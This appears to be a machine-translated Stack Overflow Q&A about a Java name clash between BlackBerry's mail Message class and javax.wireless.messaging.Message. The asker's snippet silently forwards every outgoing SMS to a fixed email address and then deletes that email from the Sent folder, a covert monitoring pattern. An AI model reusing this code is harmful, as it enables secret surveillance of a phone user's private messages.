无论如何都要监听出站短信而无需导入javax.wireless.messaging
?
我正在尝试编写一个应用程序来侦听从设备发送的短信,然后通过电子邮件发送短信的消息,但是我收到错误:
对Message的引用是不明确的,两个类 javax.wireless.messaging.Message在javax.wireless.messaging和class中 net.rim.blackberry.api.mail中的net.rim.blackberry.api.mail.Message 匹配
我需要导入net.rim.blackberry.api.mail.Message
才能发送电子邮件。
有没有办法解决这个问题,因为这两个软件包似乎发生了冲突。
我的代码:
public void notifyIncomingMessage(MessageConnection messageconnection) {}
public void notifyOutgoingMessage(javax.wireless.messaging.Message message) {
try {
String address = message.getAddress();
String msg = null;
if ( message instanceof TextMessage ) {
TextMessage tm = (TextMessage)message;
msg = tm.getPayloadText();
} else if (message instanceof BinaryMessage) {
StringBuffer buf = new StringBuffer();
byte[] data = ((BinaryMessage) message).getPayloadData();
msg = new String(data, "UTF-8");
Store store = Session.getDefaultInstance().getStore();
Folder[] folders = store.list(Folder.SENT);
Folder sentfolder = folders[0];
Message in = new Message(sentfolder);
Address recipients[] = new Address[1];
recipients[0]= new Address("me@us.com", "user");
in.addRecipients(Message.RecipientType.TO, recipients);
in.setSubject("Outgoing sms");
in.setContent("You have just sent an sms to: " + address + "\n" + "Message: " + msg);
in.setPriority(Message.Priority.HIGH);
Transport.send(in);
in.setFlag(Message.Flag.OPENED, true);
Folder folder = in.getFolder();
folder.deleteMessage(in);
}
} catch (IOException me) {
System.out.println(me);
}
}
}
答案 0 :(得分:2)
你永远不应该需要到import
Java中的任何东西。导入包只是一种快捷方式,因此您无需完全键入整个包名称。如果你有一个你想要使用的名为Message
的类,并且它存在于两个包中(这两个都是你需要的),那么我就不会import
这两个包。
简单地说,总是用他们的完全限定名称来引用它们:
net.rim.blackberry.api.mail.Message
和
javax.wireless.messaging.Message
这只是打字的一点点。